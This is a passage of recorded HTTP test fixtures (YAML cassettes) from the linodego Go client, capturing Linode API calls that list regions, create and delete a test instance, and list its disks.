1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:43:23 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-6c10dny772tj","root_pass":"5uVT5l@k;66U{P''iPS$d65*RcA=o~9.Q6]ImBe20M}51Quo0`p\u003c}05tVJZm!k9k~","image":"linode/debian9","firewall_id":634480,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61085281, "label": "go-test-ins-6c10dny772tj", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.61.88"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "f938c3729d62778abc4a62c7f6abecae18bc8c37", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "789" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:43:24 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61085281/disks?page=1 method: GET response: body: '{"data": [{"id": 120070386, "status": "not ready", "label": "Debian 9 Disk", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 25088}, {"id": 120070387, "status": "not ready", "label": "512 MB Swap Image", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "swap", "size": 512}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "395" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:43:24 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61085281 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:43:24 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestInstance_Disks_List_WithEncryption.yaml000066400000000000000000000416141474652371000352010ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, India", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, Ontario, CAN", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, NSW, Australia", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "fake-cph-4", "label": "Fake CPH 4, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "fake-cph-5", "label": "Fake CPH 5, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "billing66", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "billing67", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "billing100", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Kubernetes", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ, USA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "VPCs", "Block Storage Migrations", "Managed Databases", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 3}, "site_type": "core"}, {"id": "eu-west", "label": "London, England, UK", "country": "uk", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 3, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}], "page": 1, "pages": 1, "results": 16}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions/availability?page=1 method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - 